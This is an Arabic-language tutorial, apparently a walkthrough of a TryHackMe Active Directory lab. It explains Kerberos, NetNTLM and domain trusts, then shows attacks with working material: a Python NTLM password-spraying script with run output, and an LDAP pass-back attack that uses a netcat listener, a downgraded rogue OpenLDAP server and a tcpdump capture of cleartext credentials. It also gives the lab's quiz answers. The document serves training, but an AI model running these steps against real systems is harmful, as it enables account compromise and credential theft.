اذا المستخدم بدو يتصل بخدمة على الشبكة مثل مشاركة موقع ويب أو قاعدة بيانات بستخدم TGT لطلب Ticket Granting Service (TGS) من KDC الـ TGS هي تذاكر بتتيح تتصل بس بخدمة محددة اللي انشأناها عشانها

3. عشان نطلب الـ TGS برسل المستخدم اسم المستخدم و الطابع الزمني ( اللي حكينا عنهم قبل ) مع TGT و الـ Service Principal Name (SPN) اللي بشير للخدمة واسم الخادم اللي بدنا نوصله , النتيجة للطلب الـ KDC برسل الـ TGS مع الـ Session Key اللي بنستخدمه للمصادقة على الخدمة اللي بدنا نوصللها
وطبعا يتم تشفير
TGS باستخدام مفتاح مشتق من كلمه المرور الخاصه بـ مالك الخدمة اللي هو حساب المستخدم أو الجهاز الذي بتعمل تحته الخدمة , و الـ TGS بتضمن نسخة من الـ Session Key ضمن محتوياتها المشفرة بحيث المالك بإمكانه يوصله بس بفك تشفير الـ TGS .


Kerberos step 2
بعد هيك يمكن إرسال الـ TGS للخدمة المطلوبة للمصادقة وإنشاء اتصال

Kerberos step 3


الـ NetNTLM

بشتغل الـ NetNTLM باستخدام آلية challenge-response

العملية الكاملة هيك :


1. العميل برسل طلب المصادقة للخادم اللي بده يوصلله بعدها الخادم بنشئ رقم عشوائي وبرسله كـ challenge للعميل بعدها العميل بدمج كلمه السر الخاصه فيه NTLM الخاصة به مع الـ challenge (وبيانات أخرى معروفة) لتوليد الـ response للـ challenge وبرسلها مرة ثانيه للـ server للتحقق

البروتوكول NTLM بعمل hash لكلمة مرور المستخدم ويستخدم الـ hash بعمليات المصادقة بدلاً من كلمة المرور الفعلية



2. بعدها الـ server بعمل إعادة توجيه للـ challenge والـ response لـ Domain Controller للتحقق , بستخدم الـ Domain Controller الـ challenge لإعادة حساب الـ response وبقارنها بالـ response الأصلية اللي أرسلها العميل إذا طلعو متطابقين اكيد يتم مصادقة العميل غير هيك يتم رفض الوصول , يتم إرسال نتيجة المصادقة إلى server ومن ثم يقوم الخادم بإعادة توجيه نتيجة المصادقة إلى العميل.


لاحظ أن كلمة مرور المستخدم (أو الـ hash ) لا يتم إرسالها عبر الشبكة للأمان

هل ستستخدم نسخة حالية من Windows بروتوكول NetNTLM كالبروتوكول الافتراضي للمصادقة؟ (yay/nay)
nay
عند الإشارة إلى Kerberos، ما نوع التذكرة التي تسمح لنا بطلب المزيد من التذاكر المعروفة باسم TGS؟
Ticket Granting Ticket
عند استخدام NetNTLM، هل يتم نقل كلمة مرور المستخدم عبر الشبكة في أي وقت؟ (yay/nay)
nay







اداره الـ Treesو Forests بالـ Active Directory

لهسا حكينا عن كيفيه إدارة domain واحد ودور وحدة التحكم بالـ domain وكيفية انضمام أجهزة الكمبيوتر والخوادم والمستخدمين... لما تكبر الشركات بتنمو شبكاتها كمان ووجود domain واحد لشركة بكفي بالبداية لكن مع مرور الوقت ممكن تحتاج أكثر من domain واحد

Single Domain



الـ Trees

تخيل مثلا انه شركتك توسعت فجأة لدولة جديدة الدولة الجديدة الها قوانين ولوائح مختلفة بتتطلب منك مثلا تحدث سياسات الـ GPO للامتثال لقوانينها وكمان عندك فريق IT بكل من البلدين وكل فريق IT بحتاج لإدارة الموارد التي بتخص كل بلد بدون التدخل في بعمل الفريق الآخر

في حين أنه بإمكانك تنشئ هيكل OU معقد وتستخدم الـ delegations لتحقيق هاد لكن ممكن يكون من الصعب إدارة هيكل AD كبير وعرضة للأخطاء البشرية

الـ Active Directory بدعم تدمج عدة نطاقات بحيث بإمكانك تقسم شبكتك لوحدات يمكن إدارتها بشكل مستقل إذا كان عندك domain 2 بشتركوا بنفس الاسم ( thm.local في مثالنا ) بأمكاننا ندمج هذول النطاقيات بـ Trees

إذا تم تقسيم نطاق thm.local إلى نطاقين فرعيين لفروع مثلا UK و US بإمكانك تبني الـ Trees بالـ domain الاصلي thm.local ونطاقين فرعيين ( subdomains ) يسمى uk.thm.local و us.thm.local ، كل منها يحتوي على AD أجهزة كمبيوتر ومستخدمين :


Tree

بمنحنا هاد الهيكل المقسم تحكم أفضل ب من بإمكانه الوصول إلى ماذا بالـ domain بحصل فريق الـ IT بالـ US على وحدة تحكم بالـ domain الخاص فيهم ( بديرو موارد الـ us بس ) مثلا ما بقدر حد من فريق الـ IT انه يدير مستخدم من الـ UK

هيك بكون لمديري الـ domain بكل فرع سيطرة كاملة على وحدات التحكم بالـ domain الخاصة فيهم ولكن ليس على وحدات التحكم بالـ domain الخاصة بالفروع الأخرى وبأمكاننا كمان نكون سياسات بشكل مستقل لكل domain بالـ Trees

يجب تقديم مجموعة أمان جديدة لما نحكي عن الـ Treesو Forests بنمنح مجموعة الـ Enterprise Admins للمستخدم امتيازات إدارية على جميع نطاقات المؤسسة كل نطاق بكونله مديري نطاق بصلاحيات إدارية على نطاقهم بس والـ Enterprise Admins اللي بإمكانهم يتحكمو بكل اشي بالمؤسسة




الـ Forests

لنفترض أن شركتك بتستمر بالنمو و بالنهاية بتستحوذ على شركة ثانيه تسمى MHT Inc لما تندمج الشركتان بكون عند على الأرجح domain trees مختلفة لكل شركة يديرها كل منها قسم تكنولوجيا المعلومات الخاص فيه الاتحاد بين عدة trees بأسماء مختلفة بنفس الشبكة يعرف بالـ Forests
Forest



الـ Trust Relationships
وجود عدة domain منظمة بـ Treesو Forests بسمحلك بوجود شبكة مقسمة بشكل جيد من حيث الإدارة والموارد لكن بمرحلة معينة ممكن تحتاج مستخدم بالـ THM UK للوصول لملف مشترك بأحد خوادم MHT ASIA عشان هاد الاشي يحدث يتم ربط الـ domains المنظمة بالـ Treesو Forests ببعضها البعض بواسطة الـ Trust Relationships

وجود علاقة موثوقة بين الـ domains بسمحلك باعطاء صلاحيه لمستخدم من domain الـ THM UK للوصول لموارد لـ domain الـ MHT EU

أبسط علاقة موثوقة يمكن إقامتها هي علاقة موثوقة باتجاه واحد

بالعلاقة الموثوقة باتجاه واحد إذا كان domain الـ AAA يثق في domain الـ BBB ف يعني أن مستخدماً بـ BBB يمكن السماح له للوصول لموارد بـ AAA :



Trusts


اتجاه العلاقة الموثوقة باتجاه واحد يكون عكس اتجاه الوصول

يمكن أيضاً إقامة علاقات موثوقة باتجاهين للسماح لكل domain بالسماح للمستخدمين من الـ domain الثاني بالوصول لموارد بعض , بشكل افتراضي دمج عدة domains تحت Trees او Forests بشكل علاقة موثوقة باتجاهين

من المهم ملاحظة أن وجود علاقة موثوقة بين الـ domain لا يمنح تلقائياً الوصول إلى جميع الموارد بالـ domain الثانية , بمجرد إنشاء علاقة موثوقة بكون عندك الفرصة لتسمح للمستخدمين عبر domains مختلفة , لكن الموضوع برجعلك باللي بتسمحه او لا




ما هي مجموعة نطاقات ويندوز التي تشترك في نفس مساحة الاسم؟
Tree
ما الذي يجب تكوينه بين نطاقين لكي يتمكن مستخدم في نطاق A من الوصول إلى مورد في نطاق B؟
A Trust Relationship



مقدمة عن اختراق الـ Active Directory

الوصول الأولي واختراق Active Directory

قبل ما نبلش ندور على اخطاء او ثغرات او كيف نرفع صلاحيات بالـ AD بنحتاج نوصل اول اشي , بكلمات ادق بنحتاج بيانات عن الـ AD وعاده اول اشي بنعمله قبل اي عمليه ختراق او اي عمليه فحص بنعمل Enumeration وطبعا بسبب عدد الخدمات الوميزات بالـ AD ف الهجوم عشان نحصل على بيانات اوليه بكون مهم

حتى لما نحكي عن بيانات اوليه ما بنحكي عن الاذونات اللي مرتبطه بالحساب نفسه بس بدنا طريقه نكون ( يكون النا مكان ) بالـ AD عشان نعمل Enumeration عالـ AD نفسه






عشان نتصل بالشبكة الخاصه بـ TryHackMe

إذا كنت بتستخدم الـ AttackBox من الويب بتلاقيه موصلك بالشبكة تلقائي بإمكانك تتاكد باستخدام أمر ping للتحقق من IP الـ host اللي هو THMDC.za.tryhackme.com ولكن بس بدنا نزبط اعدادات الـ DNS

شبكات الـ Windows بتستخدم خدمة الـ Domain Name Service لجعل أسماء الـ host لـ IPs

لتكوين الـ DNS بنستخدم الأمر :

كود:
systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com
وطبعا بتستبدل الـ THMDCIP$ بـ IP الخاص بـ THMDC بشبكتك بإمكانك تختبر الـ DNS عن طريق الامر :
كود:
nslookup thmdc.za.tryhackme.com

إذا كنت بتستخدم جهازك بتم توليد ملف OpenVPN من اعدادات الوصلول بحسابك ( access )

بنروح عالصفحه


1720850895623.webp


بنختار BreachingAD من خوادم الـ VPN وبنزله

1720850961967.webp

على لينكس بنستخدم الامر هاد عشان نتصل عن طريق اداه OpenVPN
كود:
sudo openvpn breachingad.ovpn
لما تظهرلنا رساله Initialization Sequence Completed ف احنا هيك متصلين على الشبكة وكمان لازم نعمل اعدادات الـ DNS بنفس الطريقة اللي حكينا عنها قبل لاحظ أن الـ DC بسجل طلبات الـ DNS

1720851299307.webp

تصحيح أخطاء الـ DNS


تصحيح أخطاء DNS جزء أساسي من اختبار Active Directory والسبب هو أن أحد بروتوكولي المصادقة الرئيسيين في AD وهو الـ Kerberos بعتمد على الـ DNS لإنشاء التذاكر زي ما حكينا قبل لا يمكن ربط التذاكر بعناوين الـ IP عشان هيك الـ DNS ضروري عند اختبار شبكات الـ AD بالتقييمات الأمنية لازم يكون عندك مهارات لحل مشاكل الـ DNS

عندك خيارين عادةً :


1. تسجيل إدخالات الـ DNS يدويًا بملف etc/hosts/ ممكن يكون هاد الحل فعال بس مش عملي إذا كنت بتختبر شبكات بتضم مثلا أكثر من 10,000 hosts
2. ممكن توخذ وقت وانت بتحل مشاكل الـ DNS ممكن يكون الاشي صعب بس بعطي نتائج أفضل على المدى الطويل
لما تواجه مشكلة بإحدى المهام بتسأ حالك هل DNS شغال ؟ ممكن تكون ضيعت وقت بتسأل حالك ليش ما بتشتغل الادوات اذا ما بتكون المشكله من الادوات بكون بس انه الـ DNS تغير

خطوات تصحيح أخطاء DNS :

اتبع الخطوات بس حسب نوع جهازك
إذا كنت بتستخدم نظام تشغيل مختلف بتبحث على Google بتلاقي إعدادات لجهازك



1. بتشغل الأمر
كود:
ping <THM DC IP>
هاد بتحقق من الشبكة انها نشطة إذا ما حصلت على اجابة ف هاد يعني أنه الشبكة غير نشطة حاليًا إذا كانت الشبكة بتشتغل بعد تحديث صفحة الدرس وما حصلت على اجابه اتصل بالدعم ويمكن حلها باعاده تشغيل الشبكه


1720852804229.webp


1720853055722.webp

2. بنشغل امر
كود:
nslookup tryhackme.com <THM DC IP>
هاد بتحقق من خادم DNS انه داخل الشبكة نشط لأنه وحدة التحكم بالـ DNS الها دور , إذا ما اشتغل أمر ping اتصل بالدعم لأنو بكون في مشكلة ويمكن حلها باعاده تشغيل الشبكه

3. بنشغل امر
كود:
nslookup tryhackme.com
إذا حصلت على استجابة مختلفة عن الخطوة السابقة ف هاد يعني أنه في مشكلة بتكوين الـ DNS بترجع للخطوات اللي شرحناها قبل كيف تزبط اعدادات الـ DNS مشكلة شائعة بالـ Kali هي أن إدخال الـ DNS يتم وضعه كالإدخال الثاني في ملف etc/resolv.conf/ وضعه كالإدخال الأول بحل المشكلة


ملاحظة:

الشبكات بالـ AD مصنفة كمتوسطة الصعوبة عشان هيك اذا انت هسا تطبق عملي على طول من الافضل انك تبدا باشي اسهل وتطبق عليه لانه الـ AD نظام ضخم وبتحتاج لـ عقلية استكشافية عشان تنجح باختباره



تقنيات اختراق الـ Active Directory

الـ OSINT و الـ Phishing
طريقتين مشهورين عشان نقدر نحصل على أول مجموعة من بيانات الدخول للـ Active Directory بنذكرهم بشكل سريع لأننا سبق وحكينا عنهم بمسار اختبار الاختراق بالتفصيل



الـ OSINT


الـ OSINT بستخدم عشان نكتشف معلومات متاحة للعامة بالنسبة لبيانات دخول الـ Active Directory هاد ممكن يحصل لأسباب زي :

مستخدمين بسألوا بمنتديات عامة زي Stack Overflow وبكشفوا عن معلومات حساسة زي بيانات دخول بالسؤال مثلا
مطورين بنزلوا سكريبتات على مواقع زي Github وفيها بيانات دخول مكتوبة بشكل مباشر مثلا
بيانات دخول اللي بتنكشف بتسريبات سابقة لأن الموظفين استخدموا حسابات الشغل الخاصه فيهم بتسجيل بمواقع خارجية مواقع زي HaveIBeenPwned و DeHashed بتوفر منصات ممتازة عشان نحدد إذا كانت معلومات شخص ما زي البريد الإلكتروني الخاص بالشغل الخاص فيه تم الكشف عنها بتسريب معروف علنًا


باستخدام تقنيات الـ OSINT ممكن نقدر نسترجع بيانات دخول متاحة للعامة لو كنا محظوظين ولقينا بيانات دخول بنضل محتاجين نلاقي طريقة نختبر إذا كانت صالحة ولا لأ لأن معلومات الـ OSINT ممكن تكون قديمة

كمان شوي راح نحكي عن خدمات الـ NTLM Authenticated اللي ممكن توفر طريقة ممتازة لاختبار بيانات الدخول هاي عشان نشوف إذا كانت لسه صالحة ولا لأ



الـ Phishing


الـ Phishing طريقة ممتازة ثانية لاختراق الـ Active Directory
الـ Phishing عادةً بحاول يخدع المستخدمين إنهم يقدموا بيانات الدخول الخاصه فيهم على صفحة ويب خبيثة أو بنطلب منهم يشغلو تطبيق معين اللي بدوره بنزل مثلا Remote Access Trojan (RAT) بالخلفية هاي الطريقة منتشرة جدًا لأن الـ RAT بشتغل بسياق المستخدم وبالتالي بمكنك انك تنتحل حساب المستخدم بالـ Active Directory مباشرةً عشان هيك الـ Phishing موضوع كبير للـ Red and Blue teams



ما هو موقع الويب الشهير الذي يمكن استخدامه للتحقق مما إذا كان عنوان بريدك الإلكتروني أو كلمة المرور الخاصة بك قد تم كشفهما في أي وقت مضى في عملية خرق بيانات تم الكشف عنها علنًا؟
HaveIBeenPwned

الـ NTLM


الـ NTLM هو نظام أمان بستخدمه الـ Active Directory لتأكيد هوية المستخدمين الـ NTLM بستخدم نظام اسمه NetNTLM عشان يأكد الهوية بطريقة challenge-response-based الطريقة هاي تستخدم كثير بالشبكات بس ممكن الخدمات اللي بتستخدمها تنعرض على الإنترنت مثلا :

1. سيرفرات البريد الإلكتروني اللي بتستخدم Outlook Web App للتسجيل
2. خدمة الـ Remote Desktop Protocol
نقاط الـ VPN endpoints اللي متصلة بـالـ Active Directory
تطبيقات ويب بتستخدم NetNTLM




الـ NetNTLM


الـ NetNTLM يسمى ايضا Windows Authentication بخلي التطبيق يلعب دور الوسيط بين العميل و الـ Active Directory كل معلومات التحقق بتروح للـ Domain Controller على شكل challenge ولو نجح التطبيق بأكد هوية المستخدم
يعني التطبيق بأكد هوية المستخدم بالنيابة عنه بشكل مش مباشر هاد بمنع التطبيق من تخزين بيانات الـ Active Directory اللي المفروض بتتخزن بس بالـ Domain Controller



c9113ad0ff443dd0973736552e85aa69.png

هجمات التخمين Brute-force Login Attacks



الخدمات اللي معروض على النت طريقه منيحه عشان نجرب البيانات اللي حصلنا عليها باي طريقه ممكن نحاول نستخدمها لهجمات الـ Brute-force عشان نلاقي بيانات Active Directory صحيحة
لكن معظم بيئات الـ Active Directory بكون فيها خاصية قفل الحساب بعد محاولات فاشلة كتير ف ما بنقدر نعمل هجوم Brute-force كامل
بدل منعلم هيك بنعمل هجوم اسمه password spraying بنجرب باسورد واحد مع كل الأسماء اللي عندنا الهجوم هاد بنكشف بسهولة عشان بولد عدد كبير من المحاولات الفاشلة



مثال عملي



عننا قائمه الـ بأسماء مستخدمين حصلنا عليها عن طريق OSINT (تجسس عن طريق المعلومات العامة)

التمرين كمان أشار إن باسورد الشركة الأولي هو Changeme123 رغم إن المستخدمين المفروض يغيروا الباسورد هاد بس في ناس بتنسى بنستخدم سكريبت مخصص لعمل هجوم password spraying على الويب موجود على الرابط : http://ntlmauth.za.tryhackme.com

لما ندخل على الرابط بنلاقي إنه بطلب بيانات تسجيل Windows Authentication لو بدك تجرب البيانات يدويًا استخدم Chrome عشان Firefox بكون فيه مشاكل من الناحيه هاي


سكريبت الهجوم

ممكن نستخدم أدوات زي Hydra او Burp suite للهجوم بس يفضل نكتب سكريبت بنفسنا عشان نتحكم بالعملية الكود هاد هو الجزء الرئيسي من السكريبت :

Python:
def password_spray(self, password, url):
    print ("[*] Starting passwords spray attack using the following password: " + password)
    #Reset valid credential counter
    count = 0
    #Iterate through all of the possible usernames
    for user in self.users:
        #Make a request to the website and attempt Windows Authentication
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
        #Read status code of response to determine if authentication was successful
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
            print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
            count += 1
            continue
        if (self.verbose):
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                print ("[-] Failed login with Username: " + user)
    print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

الكود هاد باخد الباسورد والرابط اللي بنستهدفه كمدخلات وبحاول يدخل باستخدام كل اسم مستخدم موجود بالملف النصي ( اللي معطينا اياه بالتحدي ) عن طريق مراقبة رقم الاستجابة من الموقع بنقدر نعرف إذا كانت البيانات صحيحة ولا لأ لو البيانات صحيحة التطبيق برد بكود 200 (OK) لو البيانات غلط التطبيق برد بكود 401 (Unauthorized)


تشغيل السكريبت

لو بتستخدم الـ AttackBox بتلاقي السكريبت والملف النصي للأسماء بالمسار /root/Rooms/BreachingAD/task3/ لتشغيل السكريبت استخدم الأمر هاد :

كود:
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
استبدل القيم التالية :

الـ <userfile> - الملف النصي اللي فيه أسماء المستخدمين - usernames.txt
الـ <fqdn> - الدومين المرتبط بالشركة اللي بنهاجمها - za.tryhackme.com
الـ <password> - الباسورد اللي هنستخدمه في الهجوم - Changeme123
الـ <attackurl> - رابط التطبيق اللي بدعم الـ Windows Authentication هو http://ntlmauth.za.tryhackme.com


باستخدام القيم هاي بنلاقي بعض بيانات الدخول الصحيحة من الهجوم


مثال عملي لتشغيل الهجوم:

كود:
[thm@thm]$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: henry.taylor
[...]
[+] Valid credential pair found! Username: [...] Password: Changeme123
[-] Failed login with Username: louise.talbot
[...]
[*] Password spray attack completed, [X] valid credential pairs found


باستخدام مزيج من الـ OSINT و الـ NetNTLM password spraying بنلاقي أول بيانات دخول صحيحة بنقدر نستخدمها لاستكشاف الـ AD بشكل أكبر


ما اسم آلية مصادقة التحدي والاستجابة التي تستخدم NTLM؟
NetNTLM
ما هو اسم المستخدم لزوج بيانات الاعتماد الصالح الثالث الذي تم العثور عليه بواسطة البرنامج النصي لرش كلمة المرور؟
gordon.stevens
كم عدد أزواج بيانات الاعتماد الصالحة التي تم العثور عليها بواسطة البرنامج النصي لرش كلمة المرور؟
4
ما هي الرسالة التي يعرضها تطبيق الويب عند المصادقة باستخدام زوج صالح من بيانات الاعتماد؟
Hello World



الـ LDAP



الـ LDAP هو بروتوكول يستخدم للمصادقة بالـ Active Directory مثل NTLM

الـ LDAP بسمح لتطبيقات معينة بالتحقق مباشرة من بيانات دخول المستخدمين التطبيق بمتلك زوج من بيانات Active Directory اللي بنستخدمهم عشان نعمل query للـ LDAP والتحقق من بيانات المستخدم

مصادقه الـ LDAP مشهور بين التطبيقات الـ
third-party (مش اللي لمايكروسوفت) اللي بتتواصل مع الـ Active Directory مثل :


  • Gitlab
  • Jenkins
  • Custom-developed web applications
  • Printers
  • VPNs


إذا كان واحد من هاي التطبيقات أو الخدمات على النت بإمكانها تتعرض لنفس الهجمات اللي بتحصل مع أنظمة الـ NTLM

ولأن الـ LDAP بحتاج بيانات Active Directory هاد بفتح طرق جديدة للهجمات ممكن نحاول نسترجع بيانات Active Directory اللي بتستخدمها الخدمة للوصول للـ Active Directory

عمليه المصادقه من خلال الـ LDAP موضحه بالصوره


d2f78ae2b44ef76453a80144dac86b4e.png



هجوم Pass-back على الـ LDAP

هو نوع من الهجمات اللي بتم ضد الأجهزة مثل الطابعات الهجوم بتم لما يكون عننا وصول أولي للشبكة الداخلية مثل توصيل rogue device بغرفة الاجتماعات
قصدنا بـ rogue device جهاز غير مرخص بندخله للشبكه بهدف اختراقها ممكن يكون تلفون او لابتوب او اي جهاز هدفه يخترق الشبكه

غالبًا بيانات الدخول للواجهة الافتراضية بتكون زي admin , admin أو admin , password هون ما بنقدر نستخرج بيانات LDAP مباشرة لأنو ما معنا كلمة المرور لكن ممكن نغير إعدادات الـ LDAP مثل عنوان الـ IP او الـ hostname الخاص بالسيرفر


في الهجوم هاد بنقدر نغير الـ IP بنخليه IP للجهاز الخاص فينا ونجرب إعدادات LDAP اللي بتجبر الجهاز يحاول المصادقة مع جهازنا وبعدها بنقدر نعترض محاوله المصادقه هاي عشان نسترجع LDAP credentials صالحه




تنفيذ الهجوم

بشبكة معينة فيه طابعة ما بتطلب بيانات دخول للوصول لإعداداتها بنروح للعنوان هاد http://printer.za.tryhackme.com/settings.aspx بعد ما نتصل بالخطوات اللي شرحناها فوق

بنقدر نتحقق باستخدام الـ inspection بالمتصفح إنه الطابعة ما بترسل كلمة المرور مباشرة للمتصفح

عننا اسم المستخدم لكن مش كلمة المرور

لما نضغط على Test Settings الطابعة بترسل طلب مصادقة للتحقق من بيانات الـ LDAP ممكن نستغل هاد الطلب وبنجعل الطابعة تتواصل معنا بدل السيرفر الفعلي ونحصل على البيانات


بنشغل الـ listener باستخدام الـ Netcat

بنقدر نستخدم الـ Netcat عشان نستمع على الاتصالات على المنفذ 389 (المنفذ الافتراضي لـ LDAP) بنستخدم الأمر هاد :

كود:
[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
 objectclass0?supportedCapabilities

ممكن تحتاج أكثر من محاولة عشان تحصل على اتصال لكن المفروض يستجيب بحدود الـ 5 ثواني

رد الـ supportedCapabilities بخبرنا بوجود مشكلة بالأساس قبل ما ترسل الطابعة بيانات الدخول بتحاول تستفسر على تفاصيل طريقة الـ LDAP authentication بتستخدم هاد الاستفسار لاختيار الطريقة الأكثر أمان اللي بتدعمها كل من الطابعة وخادم الـ LDAP

إذا كانت طريقة المصادقة آمنة للغاية ف اكيد ما رح يتم نقل بيانات الدخول بنص واضح ببعض طرق المصادقة لا يتم نقل بيانات الدخول عبر الشبكة على الإطلاق! عشان هيك ما بنقدر نستخدم الـ Netcat العادي للحصول على بيانات دخول بنحتاج لإنشاء خادم LDAP غير آمن وتكوينه بطريقة بتضمن إرسال بيانات دخول بنص واضح




استضافة سيرفر LDAP مزيف

بنحتاج نستضيف سيرفر LDAP مزيف بستخدم مصادقة عادية ( PLAIN و LOGIN ) بنستخدم الـ OpenLDAP لو بتستخدم الـ AttackBox بتلاقي الـ OpenLDAP مثبت بالفعل لكن لو بنستخدم جهازنا بنثبته بالأمر هاد :
كود:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

بعدها لازم نعيد تهيئة السيرفر بالأمر هاد :
كود:
sudo dpkg-reconfigure -p low slapd

بعدها راح يطلعلك نافذه تأكد انك تظغط على no

97afd26fd4f6d10a2a86ab65ac401845.png

بالنسبه للـ DNS بنختار الـ DNS تاع الهدف تاعنا الا وهو za.tryhackme.com

01b0d4256900cbf48d8d082d8bdf14bb.png

ولاسم الـ Organisation بنختار نفس الاشي الا وهو za.tryhackme.com

c4bef0c3f054c32ca982ee9c1608ba1b.png
بعدها بنحط كلمه مرور للـ Administrator

23b957d41ddba8060e4bc2295b56a2fb.png


بعدها بنختار MDB كقاعده بيانات LDAP لاستخدامها

07af572567aa32e0e0be2b4d9f54b89a.png


بعدها بنتأكد من الخيار هاد انو ما يمحي الداتابيز

4d5086da7b25a6f218d6eebdab6d3b71.png


اخر خيار بنختار نعم انو ينقل ملفات قاعده اليانات القديمه قبل ما ينشئ ملف جديد

d383582606e776eb901650ac9799cef5.png


قبل ما نستخدم خادم الـ LDAP بنحتاج نخليه ضعيف عن طريق خفض آليات المصادقة المدعومة بدنا نتأكد من أنه خادم LDAP الخاص فينا بدعم فقط طرق المصادقة PLAIN و LOGIN

عشان نعمل هاي الاعدادات بنحتاج ننشئ ملف وبنسميه olcSaslSecProps.ldif بالمحتوى التالي :

كود:
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

الملف بحتوي على الخصائص التالية:
  • الـ olcSaslSecProps : بحدد خصائص أمان SASL
  • الـ noanonymous : بعطل الآليات اللي بتدعم تسجيل الدخول المجهول
  • الـ minssf : بحدد الحد الأدنى لقوة الأمان المقبولة بـ 0 مما يعني عدم وجود حماية
بإمكاننا الان نستخدم ملف الـ ldif لتحديث خادم الـ LDAP الخاص فينا باستخدام الأمر التالي :

كود:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart


بإمكاننا نتحقق من تطبيق اعدادات خادم الـ LDAP الخاص فينا باستخدام الأمر التالي
(ملاحظة: إذا بتستخدم Kali ممكن ما تحصل على أي نتيجه لكن التكوين يجب أن يكون نجح وبإمكانك متابعة الخطوات التالية ):



كود:
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

الان تم تكوين خادم الـ LDAP

لما نضغط على Test Settings بـ http://printer.za.tryhackme.com/settings.aspx تتم المصادقة بنص واضح إذا قمت بتكوين خادم LDAP بشكل صحيح وتم تخفيض الاتصال بتتلقى الخطأ التالي This distinguished name contains invalid syntax إذا تلقيت هاد الخطأ بإمكانك تستخدم tcpdump لالتقاط بيانات الاعتماد باستخدام الأمر التالي :




كود:
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
    0x0000:  4500 0074 b08c 4000 8006 20e2 0a0a 0ac9  E..t..@.........
    0x0010:  0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2  ...9........BW..
    0x0020:  5018 2014 1382 0000 3084 0000 0046 0201  P.......0....F..
    0x0030:  0263 8400 0000 3d04 000a 0100 0a01 0002  .c....=.........
    0x0040:  0100 0201 7801 0100 870b 6f62 6a65 6374  ....x.....object
    0x0050:  636c 6173 7330 8400 0000 1904 1773 7570  class0.......sup
    0x0060:  706f 7274 6564 5341 534c 4d65 6368 616e  portedSASLMechan
    0x0070:  6973 6d73                                isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
    0x0000:  4500 0028 247d 4000 4006 ed3d 0a0a 0a39  E..($}@.@..=...9
    0x0010:  0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27  ........BW.....'
    0x0020:  5010 01f6 2930 0000                      P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
    0x0000:  4500 005e 247e 4000 4006 ed06 0a0a 0a39  E..^$~@[email protected]
    0x0010:  0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27  ........BW.....'
    0x0020:  5018 01f6 2966 0000 3034 0201 0264 2f04  P...)f..04...d/.
    0x0030:  0030 2b30 2904 1773 7570 706f 7274 6564  .0+0)..supported
    0x0040:  5341 534c 4d65 6368 616e 6973 6d73 310e  SASLMechanisms1.
    0x0050:  0405 504c 4149 4e04 054c 4f47 494e       ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
    0x0000:  4500 0028 b092 4000 8006 2128 0a0a 0ac9  E..(..@...!(....
    0x0010:  0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d  ...9.......J..~-
    0x0020:  5010 2014 0ae4 0000 0000 0000 0000       P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
    0x0000:  4500 0069 b093 4000 8006 20e6 0a0a 0ac9  E..i..@.........
    0x0010:  0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d  ...9.......J..~-
    0x0020:  5018 2014 3afe 0000 3084 0000 003b 0201  P...:...0....;..
    0x0030:  0560 8400 0000 3202 0102 0418 7a61 2e74  .`....2.....za.t
    0x0040:  7279 6861 636b 6d65 2e63 6f6d 5c73 7663  ryhackme.com\svc
    0x0050:  4c44 4150 8013 7472 7968 6163 6b6d 656c  LDAP..password11

بتظهر النتيجة على شكل حزم بيانات وبتتمكن من رؤية بيانات الاعتماد المرسلة بنص واضح

ملخص
من خلال استخدام هجوم الـ LDAP pass-back وتخفيض آلية المصادقة المدعومة تمكنا من اعتراض بيانات الاعتماد بنص واضح




1721334486037.webp




1721629481318.webp



ما نوع الهجوم الذي يمكن تنفيذه ضد أنظمة مصادقة LDAP التي لا توجد عادة ضد أنظمة مصادقة Windows؟
LDAP Pass-back Attack
ما هي آليتي المصادقة اللتين نسمح بهما على خادم LDAP المخادع الخاص بنا لخفض مستوى المصادقة وجعلها نصًا واضحًا؟
LOGIN,PLAIN
ما هي كلمة المرور المرتبطة بحساب svcLDAP؟
tryhackmeldappass1@





مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD

بـ شبكات الويندوز في خدمات كثيرة بتتواصل مع بعض عشان المستخدمين يقدروا يستخدموا الخدمات اللي بتقدمها الشبكة

التوثيق الشبكي في ويندوز

